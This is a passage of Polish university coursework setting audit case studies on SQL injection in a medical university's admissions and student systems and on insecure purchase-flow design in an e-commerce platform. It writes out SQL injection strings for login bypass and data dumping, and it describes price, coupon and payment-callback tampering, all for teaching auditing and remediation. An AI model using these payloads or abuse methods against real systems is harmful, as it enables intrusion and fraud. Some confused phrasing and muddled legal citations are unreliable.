• W1W2W3 Głęboka znajomość KRI § 20, RODO art. 32, normy ISO 27001 A.8.24, wytycznych NIST SP 800-131A i RFC 8996.
• K1K2K3 Obiektywizm audytorski i odporność na presję zespołu deweloperskiego.

Podczas obrony referatu zaprezentujcie komisji zestawienie raportu SSL Labs przed i po audycie oraz przykład konfiguracji serwera Nginx z aktywnym HSTS, jednoznacznie ilustrujący proponowaną docelową politykę kryptograficzną.

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania podatności na wstrzyknięcia kodu, w szczególności SQL Injection, w aplikacjach akademickich przetwarzających dane osobowe studentów i kandydatów (kategoria OWASP Top 10:2021 - A03:2021 Injection). Studenci badają Centralny System Rekrutacyjny oraz Wirtualny Dziekanat Uniwersytetu Medycznego w Białymstoku, w których wykryto możliwość wstrzykiwania zapytań SQL przez parametry żądań HTTP GET/POST, obejścia mechanizmów autoryzacji oraz eksfiltracji danych osobowych z bazy danych. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (poziom ryzyka inherentnego i rezydualnego), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz przepisów prawa, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna klasyfikacja uchybień związanych ze wstrzyknięciami na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na poprawę (OFI).
• U1 Opracowanie projektu migracji do zapytań parametryzowanych (Prepared Statements), walidacji wejściowej oraz polityki minimalnych uprawnień na poziomie bazy danych.
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń w ujęciu inherentnym i rezydualnym.
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron) oraz tabeli CAP i wygłoszenie 15-minutowego referatu seminaryjnego.
• W1W2W3 Zaawansowana znajomość RODO art. 32, rozporządzenia KRI, normy PN-EN ISO/IEC 27001:2022 (A.8.28, A.8.29) oraz standardów OWASP WSTG-INPV.
• K1K2K3 Obiektywizm, niezależność osądu audytorskiego i merytoryczna argumentacja w obronie zaleceń bezpieczeństwa.
• Powiązanie z wykładem: Wyk1 (Audyt bezpieczeństwa w uczelniach medycznych), Wyk3 (Kontrole A.8.28, A.8.29, A.8.2 ISO 27001), Wyk4 (RODO w systemach akademickich), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Inspekcja zapytań SQL i ruchu HTTP), Wyk7 (Procedura 5 Why i Plan CAP).

Uniwersytet Medyczny w Białymstoku jest największą uczelnią kształcącą kadry medyczne w Polsce północno-wschodniej, skupiającą 9 000 studentów na kierunkach lekarskim, stomatologicznym, farmaceutycznym i położniczym oraz 2 000 doktorantów. Uczelnia uruchomiła w 2021 r. Centralny System Rekrutacyjny umożliwiający składanie wniosków o przyjęcie, śledzenie rankingu oraz opłatę za postępowanie rekrutacyjne online, a także Wirtualny Dziekanat gromadzący indeksy cyfrowe, oceny, ankiety oceny nauczycieli akademickich oraz decyzje administracyjne.

Stan faktyczny w obszarze podatności na wstrzyknięcia:

• Warstwa logiki biznesowej systemu rekrutacyjnego napisana w języku PHP z wykorzystaniem lekko zmodyfikowanego frameworka napisanego przez zewnętrzną firmę w 2017 r. W przeważającej liczbie modułów zapytania do bazy danych MySQL łączone są dynamicznie z parametrami przekazanymi przez użytkownika (znane wzorce jak `SELECT * FROM kandydaci WHERE pesel = '".$_POST['pesel']."'`), bez użycia parametrów wiązanych i mechanizmów Prepared Statements.
• Testy bezpieczeństwa wykazały, że właśnie parametr wejściowy `pesel` w endpointcie weryfikacji danych rekrutacyjnych umożliwia wstrzyknięcie łańcucha `' OR '1'='1`, powodując zwrot pełnego obrazu wszystkich kandydatów. Analogiczna luka występuje w module logowania Wirtualnego Dziekanatu, gdzie możliwe jest wstrzyknięcie `' OR '1'='1' --` i pominięcie całej weryfikacji hasła.
• Ujawniono również klasy PowerShell i Java umożliwiające podmianę ładunku zapytania w module generowania raportów statystycznych (endpoint raportowania z parametrem `rok_akad`), co prowadzi do wyliczenia przez atakującego rozproszonej sumy ocen oraz możliwości aktualizacji rekordów z uprawnieniami administratora.
• Baza danych MySQL obsługiwana jest przez konto aplikacji o uprawnieniach administratora globalnego (GRANT ALL ON *.*), wykluczające zasadę najmniejszych uprawnień. Logi błędów aplikacji zwracają szczegółowe komunikaty błędów treści zapytań wraz z pełną strukturą tabel (do wykorzystania w testach inżynierskich).
• W 2023 r. Prokuratura Rejonowa prowadzi postępowanie w sprawie potencjalnej sprzedaży wyników rekrutacji lekarskiej nieuprawnionym kandydatom, co wymagało zabezpieczenia i ekspertyzy komputerowej śladu cyfrowego systemu. Uczelnia postanowiła przeprowadzić pełny audyt aplikacji.

Rektor Uniwersytetu Medycznego, stając przed ryzykiem odpowiedzialności karnej, wydaje zlecenie przeprowadzenia zaawansowanego audytu bezpieczeństwa aplikacji webowych na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, analizuje skutki prawne w świetle RODO art. 32 i art. 9, Ustawy o systemie informacji w ochronie zdrowia oraz regulaminu postępowania rekrutacyjnego, przygotowuje wnioski dla Rektora.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Baz Danych i Kodu): Dekonstruuje zapytania SQL, bada parametr `pesel` i moduł logowania, analizuje uprawnienia kont bazy danych, projektuje migrację do Prepared Statements i model minimalnych uprawnień.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:

  1. Pominięcie uwierzytelnienia i eksfiltracja danych osobowych kandydatów przez wstrzyknięcie SQL w endpointcie logowania (P=3, S=3 -> R=9; po kontrolach: Prepared Statements, P=1, S=2 -> R=2).

  2. Automatyczna ekstrakcja pełnej kopii bazy (rysunk pytania rekurencyjne aplikacji) przez atakującego z prawami administratora MySQL (P=3, S=3 -> R=9; po kontrolach: najmniejsze uprawnienia, out-of-band monitoring: P=1, S=3 -> R=3).

  3. Zmiana ocen i danych w Wirtualnym Dziekanacie przez wstrzyknięcie w module raportów (P=2, S=3 -> R=6; po kontrolach: Prepared Statements + reguły dostępu: P=1, S=2 -> R=2).

  4. Przejęcie sesji administratora i modyfikacja rankingu rekrutacyjnego (P=2, S=3 -> R=6; po kontrolach: MFA i audyt logów: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

  • Niezgodność Duża (NC1): Dynamiczne konsultacje zapytań SQL z parametrami użytkownika w systemie rekrutacyjnym i Wirtualnym Dziekanacie, umożliwiające wstrzyknięcie i eskalację uprawnień (ISO 27001 A.8.28 Bezpieczne kodowanie, A.8.26 Wymagania bezpieczeństwa aplikacji, art. 32 RODO).
  • Niezgodność Mała (NC2): Nadmierne uprawnienia kont aplikacji w bazie danych MySQL (GRANT ALL na *.*) (ISO 27001 A.8.2, A.8.3).
  • Niezgodność Mała (NC2): Ujawnianie szczegółowych komunikatów błędów z treścią zapytań SQL w odpowiedziach HTTP (ISO 27001 A.8.15, A.8.28).
  • Szansa na doskonalenie (OFI): Wdrożenie zautomatyzowanych testów bezpieczeństwa aplikacji (DAST) i modelowania zagrożeń STRIDE dla modułów krytycznych.
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  1. Dlaczego możliwe było wstrzyknięcie SQL w endpointcie logowania? (Ponieważ zapytanie do bazy było łączone jako konkatenacja ciągu znaków z danymi wejściowymi użytkownika).

  2. Dlaczego zastosowano konkatenację zamiast prekompilowanych zapytań? (Ponieważ framework pochodzący z 2017 r. nie wymuszał użycia Prepared Statements, a tytułowe zadania programistyczne nie przewidywały walidacji wejściowej).

  3. Dlaczego framework nie wymuszał bezpiecznych wzorców? (Ponieważ umowa o rozwój oprogramowania nie zawierała wymagań bezpieczeństwa w cyklu SDLC ani kryteriów akceptacji bezpodstawnego wstrzykiwania).

  4. Dlaczego nie było wymagań bezpieczeństwa w SDLC? (Ponieważ działający zespół IT uczelni nie posiadał kompetencji w zakresie bezpiecznego programowania, a przeglądy kodu nie były prowadzone).

  5. Root Cause (Przyczyna źródłowa): Brak sformalizowanego procesu Secure SDLC, kompetencji programistycznych w zakresie bezpiecznego wytwarzania oraz niezależnego przeglądu kodu przez bezpieczeństwo.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu, systemu rekrutacyjnego i Wirtualnego Dziekanatu oraz kontekstu audytu (3 min): Profil uczelni, skala przetwarzanych danych, okoliczności postępowania prokuratorskiego (Student 1).
• Prezentacja techniczna dekonstrukcji podatności A03:2021 (4 min): Analiza żądań HTTP i zapytań SQL, parametryzacja, demonstracja wektorów ataku ' OR '1'='1 i ' -- w środowisku testowym (Student 2).
• Prezentacja zaawansowanej analizy ryzyka w matrycy 3x3 i kwalifikacji NC1/NC2/OFI (3 min): Wyliczenia IR vs RR, powołanie punktów ISO 27001 A.8.28, A.8.2 i art. 32 RODO (Student 3 lub Student 1).
• Prezentacja dochodzenia 5 Why oraz Planu Działań Korygujących CAP (3 min): Omówienie przyczyn źródłowych, tabela CAP, migracja do Prepared Statements, model najmniejszych uprawnień (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze dla Rektora i Inspektora Ochrony Danych.

2. Odpowiedzi na zaawansowane pytania problemowe:

• Jak zbudować kompletny mechanizm ochrony przed wstrzyknięciami (Prepared Statements, ORM z parametryzacją, walidacja białych list, kodeks wzorców bezpiecznego zapytania) w istniejącym, zewnętrznym kodzie PHP?
• Jakie uprawnienia powinno posiadać konto aplikacji i jakiego modelu najmniejszych uprawnień (RBAC, Row-Level Security) wymaga wielowarstwowa architektura akademicka?
• W jaki sposób prawnie zakwalifikować ujawnienie danych osobowych w następstwie wstrzyknięcia SQL (naruszenie art. 32 i art. 33 RODO, obowiązek zgłoszenia UODO i powiadomienia osób)?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (OWASP WSTG-INPV).

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).

5. Formalne Karty Niezgodności (NC1/NC2/OFI).

6. Protokół dochodzenia przyczyn źródłowych (5 Why).

7. Szczegółowe rozwiązanie techniczne: przykładowy kod PHP PDO z Prepared Statements, reguły walidacji, konfiguracja kont MySQL z minimalnymi uprawnieniami, wspólne biale listy wartości parametrów.

8. Tabela Planu Działań Korygujących (CAP).

9. Analiza kompromisów inżynierskich (koszt modernizacji kodu, spadek wydajności parametryzowanych zapytań).

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A03:2021 Injection.
• OWASP Foundation: "Web Security Testing Guide (WSTG) v4.2", rozdziały WSTG-INPV-01 do WSTG-INPV-12.
• OWASP Foundation: "SQL Injection Prevention Cheat Sheet" (wersja 2023).
• Norma PN-EN ISO/IEC 27001:2022: kontrole A.8.26, A.8.28, A.8.29, A.8.2, A.8.3, A.8.15.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 32 i art. 33.
• Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie KRI (Dz.U. 2017 poz. 2247) - § 20 ust. 1 (wymagania minimalne) i § 20 ust. 2 pkt 4 (bezpieczeństwo danych osobistych).
• Ustawa z dnia 27 lipca 2005 r. Prawo o szkolnictwie wyższym i nauce (Dz.U. z 2022 r. poz. 22 z późn. zm.) - regulacje dotyczące rekrutacji i teleinformatycznej infrastruktury uczelni.

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień (NC1/NC2/OFI) w obszarze iniekcji.
• U1 Opracowanie zaleceń Prepared Statements, walidacji wejściowej i modelu minimalnych uprawnień bazy.
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 w środowisku akademickim.
• U4 Konstrukcja Planu Działań Korygujących (CAP) ze wskaźnikami KPI oraz raportu 8-12 stron.
• W1W2W3 Głęboka znajomość RODO art. 32, standardu OWASP WSTG-INPV i normy ISO 27001 A.8.28.
• K1K2K3 Obiektywizm, niezależność audytorska i profesjonalna komunikacja z kadrą zarządzającą.

Podczas obrony referatu zaprezentujcie komisji porównanie dwóch zapytań SQL przed audytem (konkatenacja z uzależnionym fragmentem) i po wdrożeniu zaleceń (zapytanie parametryzowane PDO z oznaczeniem placeholderów), wyjaśniając mechanizm unieważniania znaczenia znaków sterujących w ciągach wejściowych.

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania słabo zaprojektowanych mechanizmów biznesowych i kontroli procesu zakupowego w platformach e-commerce (kategoria OWASP Top 10:2021 - A04:2021 Insecure Design). Studenci badają ogólnopolską platformę handlu internetowego 'SuperKoszyk Polska S.A.', w której wykryto błędy projektowe umożliwiające manipulowanie cenami, stanami magazynowymi, kuponami rabatowymi oraz przepływami płatności w bramce PayU. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz standardu PCI DSS v4.0 i przepisów prawa, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna klasyfikacja uchybień projektowych na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na popgrawę (OFI).
• U1 Opracowanie zaleceń projektowych: modelowania zagrożeń STRIDE dla przepływu zakupowego, bezpiecznego projektowania koszyka, walidacji po stronie serwera i bezpiecznej bramki płatności.
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń w ujęciu inherentnym i rezydualnym.
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron) oraz tabeli CAP i wygłoszenie 15-minutowego referatu seminaryjnego.
• W1W2W3 Zaawansowana znajomość prawa konsumenckiego (Ustawa o prawach konsumenta), standardu PCI DSS v4.0 (wymogi 3, 6, 8, 11), normy PN-EN ISO/IEC 27001:2022 oraz RODO.
• K1K2K3 Obiektywizm, niezależność osądu audytorskiego i merytoryczne uzasadnienie zaleceń przed zarządem spółki.
• Powiązanie z wykładem: Wyk1 (Audyt bezpieczeństwa w e-commerce), Wyk3 (Kontrole A.8.26, A.8.28, A.8.2 ISO 27001), Wyk4 (Prawo konsumenckie, PCI DSS, ochrona danych), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Modelowanie zagrożeń STRIDE, analiza procesu zamówienia), Wyk7 (Procedura 5 Why i Plan CAP).

'SuperKoszyk Polska S.A.' jest jedną z trzech największych platform handlu internetowego w kraju, generującą roczną wartość transakcji ponad 9 mld złotych i obsługującą 2,5 mln zarejestrowanych klientów. Platforma (aplikacja Angular + backend JAVA Spring Boot + MySQL) współpracuje z bramką płatności PayU, przewoźnikami kurierskimi (InPost, DHL) oraz kanałem rabatowym (kody promocyjne / program poleceń).

Stan faktyczny w obszarze projektowania bezpieczeństwa:

• Cena jednostkowa produktu w koszyku zakupowym (endpoint POST /api/v1/cart/items) przychodzi z przeglądarki klienta i jest zapisywana w sesji bez ponownej weryfikacji względem cennika centralnego. Uchwyt zmian w kampaniach promocyjnych (np. po sztucznej obniżce) pozostaje aktywny po upływie terminu promocji, umożliwiając zakup produktów po historycznej cenie promocyjnej.
• Maksymalna liczba sztuk towaru w jednej sztuce zamówienia nie jest ograniczana po stronie serwera (klient może wysłać żądanie z ilością 9999), co w połączeniu z modelem wysyłki 'pobierz - opłać - odbierz' pozwala na rezerwację całego magazynu i blokowanie dostaw w okresie świątecznym.
• Kupon rabatowy o wartości 99 zł jest identyfikowany wyłącznie przez kod jednoznaczny (np. 'WINTER99'), który podlega wielokrotnemu wykorzystaniu w pełnym cyklu sesji bez mechanizmu jednorazowości (ruch pętli: użycie kuponu -> anulowanie koszyka -> ponowne użycie kuponu), umożliwiając nieograniczone obniżanie wartości koszyka.
• W modelu płatności przelewem tradycyjnym system zakłada status zamówienia po zwrocie kodu statusu z bramki bez weryfikacji kwoty, waluty i numeru zamówienia w odwołaniu zwrotnym (callback) - atakujący może więc podmienić parametry callback, aby sfinalizować płatność o zerowej wartości.
• Testy penetracyjne środowiska produkcyjnego uszkodziły wyjątkowo uporządkowaną log iką procesu zamówień (brak zgodności logowania transakcji pełnych, częściowych i anulowanych), co uniemożliwia sprawozdawczość zarządczą i rozliczenia z kurierem.

Zarząd spółki, obawiając się odpowiedzialności za straty finansowe oraz naruszeń wobec klientów, decyduje się na zaawansowany audyt bezpieczeństwa aplikacji webowych na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, analizuje regulacje prawa konsumenckiego (Ustawa o prawach konsumenta), standard PCI DSS v4.0 oraz RODO w kontekście danych płatniczych, przygotowuje wnioski dla Zarządu.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa E-commerce i Logiki Biznesowej): Dekonstruuje przepływ zamówienia, bada podatność koszyka, kuponów i callbacka bramki PayU, projektuje modelowanie zagrożeń STRIDE i reguły walidacji serwerowej.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:

  1. Zera płatności przez modyfikację callbacka bramki i potwierdzenie płatności bez weryfikacji kwoty (P=3, S=3 -> R=9; po kontrolach: weryfikacja sygnatury HMAC i kwoty: P=1, S=3 -> R=3).

  2. Manipulowanie ceną i kuponami rabatowymi przez wartość dostarczaną z klienta (P=3, S=3 -> R=9; po kontrolach: cennik serwerowy, jednorazowe kupony: P=1, S=2 -> R=2).

  3. Rezerwacja całego stanu magazynowego przez wielokrotne ilości w koszyku (P=3, S=2 -> R=6; po kontrolach: walidacja ilości i limity serwerowe: P=1, S=2 -> R=2).

  4. Brak rozliczalności transakcji w logach procesu zamówień (P=2, S=2 -> R=4; po kontrolach: logowanie transakcyjne, monitorowanie: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

  • Niezgodność Duża (NC1): Brak weryfikacji po stronie serwera wartości kwoty zamówienia i ceny w modelu płatności przelewem oraz możliwość potwierdzenia płatności zerowej przez pofałszowany callback bramki (PCI DSS v4.0 wymóg 11.6, ISO 27001 A.8.28, art. 6 i 7 rozporządzeń płatniczych PSD2).
  • Niezgodność Duża (NC1): Akceptacja cen i ilości przekazanych z klienta bez walidacji serwerowej w koszyku zakupowym (ISO 27001 A.8.26, A.8.28).
  • Niezgodność Mała (NC2): Dopuszczalność wielokrotnego wykorzystania kuponów rabatowych w sesji (ISO 27001 A.8.26).
  • Niezgodność Mała (NC2): Brak spójnego logowania transakcji i eksportu dla sprawozdawczości (ISO 27001 A.8.15, A.5.34).
  • Szansa na doskonalenie (OFI): Wdrożenie modelowania zagrożeń STRIDE w projektowaniu nowych modułów e-commerce oraz testów oprogramowania (SAST/DAST) w cyklu wytwórczym.
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  1. Dlaczego możliwe było potwierdzenie płatności zerowej? (Ponieważ system nie weryfikował kwoty i identyfikatora zamówienia w callbacku powrotnym bramki PayU).

  2. Dlaczego nie weryfikowano callbacka? (Ponieważ integrację z PayU wykonano w wariancie uproszczonym bez wymiany klucza HMAC i bez sprawdzania powtarzalności odpowiedzi).

  3. Dlaczego integrację wdrożono w wariancie uproszczonym? (Ponieważ specyfikacja integracji skupiała się na szybkości wdrożenia i nie przewidywała testów bezpieczeństwa przepływu płatności).

  4. Dlaczego nie przeprowadzono testów bezpieczeństwa przepływu? (Ponieważ zespół wytwórczy nie miał kompetencji S-SDLC i nie stosował modelowania zagrożeń STRIDE dla przepływów finansowych).

  5. Root Cause (Przyczyna źródłowa): Brak procesu modelowania zagrożeń i testów bezpieczeństwa w cyklu wytwarzania oprogramowania finansowego oraz brak wymagań bezpieczeństwa w umowie integracyjnej z bramką płatności.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu i kontekstu audytu platformy SuperKoszyk (3 min): Profil rynkowy, skala transakcji, regulacje PCI DSS v4.0 (Student 1).
• Prezentacja techniczna dekonstrukcji błędów projektowych i logiki biznesowej (4 min): Analiza żądań koszyka, kuponów, callbacka bramki PayU i logowania transakcji; demonstracja manipulacji ceną i kwotą płatności (Student 2).
• Prezentacja zaawansowanej analizy ryzyka w matrycy 3x3 i kwalifikacji NC1/NC2/OFI (3 min): Wyliczenia IR vs RR, powołanie PCI DSS v4.0, ISO 27001 i prawa konsumenckiego (Student 3 lub Student 1).
• Prezentacja dochodzenia 5 Why oraz Planu Działań Korygujących CAP (3 min): Omówienie przyczyn źródłowych, tabela CAP, modelowanie STRIDE, walidacja serwerowa i jednorazowe kupony (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze dla Zarządu i Dyrektora ds. Technologii.

2. Odpowiedzi na zaawansowane pytania problemowe:

• Jak zaprojektować bezpieczny przepływ zamówienia i płatności w e-commerce (server-side pricing, signed callbacks z weryfikacją HMAC, idempotencja transakcji)?
• Czym różni się projektowanie bezpieczne od naprawiania podatności w kodzie i jakie techniki (STRIDE, attack trees, misuse cases) należy stosować na etapie projektowania?
• Jakie wymagania PCI DSS v4.0 (w szczególności dotyczące kart, tokenizacji, kryptografii i logowania) dotyczą platformy e-commerce działającej w środowisku chmurowym?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa przepływu zakupowego.

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).

5. Formalne Karty Niezgodności (NC1/NC2/OFI).

6. Protokół dochodzenia przyczyn źródłowych (5 Why).

7. Szczegółowe rozwiązanie techniczne: przykładowy kod weryfikacji sygnatury HMAC callbacka, tablica session-based server-side pricing, reguły jednorazowości kuponów, polityka limitów ilościowych i logowania transakcji.

8. Tabela Planu Działań Korygujących (CAP).

9. Analiza kompromisów inżynierskich (koszty wdrożenia weryfikacji, wpływ na proces zamówień, zgodność z PSD2).

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A04:2021 Insecure Design.
• OWASP Foundation: "Application Security Verification Standard (ASVS)" - wymagania V8 (Server-side Security) i V9 (Communications Security).
• OWASP Foundation: "Threat Modeling: 12 available methods" oraz "Attack Trees" (wykorzystanie STRIDE).
• PCI Security Standards Council: "PCI DSS v4.0" - wymogi 3 (ochrona danych karty), 6 (rozwój bezpiecznych aplikacji), 8 (uwierzytelnianie), 11 (testy bezpieczeństwa).
• Dyrektywa Parlamentu Europejskiego i Rady (UE) 2015/2366 (PSD2) - art. 6 i art. 7 (wymagania silnego uwierzytelniania płatności, SCA).
• Ustawa z dnia 30 maja 2014 r. o prawach konsumenta (Dz.U. z 2023 r. poz. 449) - prawa konsumenta w umowach zawieranych na odległość.
• Norma PN-EN ISO/IEC 27001:2022: kontrole A.8.26, A.8.28, A.8.15, A.5.34.

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień projektowych (NC1/NC2/OFI).
• U1 Opracowanie zaleceń bezpiecznego projektowania przepływu zakupowego, weryfikacji płatności i modelowania STRIDE.
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 w środowisku e-commerce.
• U4 Konstrukcja Planu Działań Korygujących (CAP) ze wskaźnikami KPI oraz raportu 8-12 stron.
• W1W2W3 Głęboka znajomość PCI DSS v4.0, PSD2, prawa konsumenckiego, normy ISO 27001 i OWASP ASVS.
• K1K2K3 Obiektywizm, niezależność audytorska i profesjonalna komunikacja z zarządem spółki.

Podczas obrony referatu zaprezentujcie komisji pełny diagram przepływu zamówienia z oznaczeniem miejsc, w których wartość finansowa pochodzi z zaufanych i niezaufanych źródeł, oraz przykładową sekwencję bezpiecznego callbacka płatności z weryfikacją danego sygnatury HMAC.

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania błędnej konfiguracji zabezpieczeń serwerów WWW, baz danych i urządzeń sieciowych w interpretacji usługodawcy kluczowej (kategoria OWASP Top 10:2021 - A05:2021 Security Misconfiguration). Studenci badają Miejskie Przedsiębiorstwo Energetyki Cieplnej w Rzeszowie - operatora usługi kluczowej (usługi ciepłownicze, pkt 2 sekcji 1.5 rozporządzenia o KSC) - którego portal klienta e-BOK oraz system telemetrii SCADA komunikują się z siecią publiczną. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz przepisów Ustawy o KSC i przepisów wykonawczych, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna gradacja uchybień konfiguracyjnych na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na poprawę (OFI).
• U1 Opracowanie projektu utwardzania konfiguracji (hardening NGINX, MySQL, SCADA), wdrożenia nagłówków bezpieczeństwa HTTP i zarządzania sekretami.
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń w ujęciu inherentnym i rezydualnym dla infrastruktury krytycznej.
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron) oraz tabeli CAP i wygłoszenie 15-minutowego referatu seminaryjnego.
• W1W2W3 Zaawansowana znajomość Ustawy o KSC i jej rozporządzeń, NIS2, KRI, normy PN-EN ISO/IEC 27001:2022 oraz wytycznych CIS Benchmarks.
• K1K2K3 Odpowiedzialność za bezpieczeństwo infrastruktury krytycznej kraju, obiektywizm i niezależność osądu audytorskiego.
• Powiązanie z wykładem: Wyk1 (Audyt bezpieczeństwa w operatorach usług kluczowych), Wyk3 (Kontrole A.8.8, A.8.20, A.8.22, A.8.5, A.8.9 ISO 27001), Wyk4 (KSC/NIS2, KRI w infrastrukturze krytycznej), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Analiza konfiguracji serwerów i urządzeń), Wyk7 (Procedura 5 Why i Plan CAP).

Miejskie Przedsiębiorstwo Energetyki Cieplnej w Rzeszowie jest operator usługi kluczowej w rozumieniu art. 5 i art. 6 Ustawy o krajowym systemie cyberbezpieczeństwa (Dz.U. 2018 poz. 1560), zapewniającym centralne ciepłownictwo sieciowe (pkt 2 załącznika do rozporządzenia z dnia 11 stycznia 2019 r. w sprawie wykazu usług kluczowych), obsługującym 95 000 gospodarstw domowych i 1 200 odbiorców przemysłowych. Główna elektrociepłownia o mocy 360 MW działa 24/7, a za monitor obiektów i rozliczanie odbiorców odpowiadają dwie krytyczne aplikacje: portal klienta 'e-BOK-MPEC' oraz system telemetrii SCADA (WinCC Open Architecture) dostarczający telemetrię węzłów cieplnych.

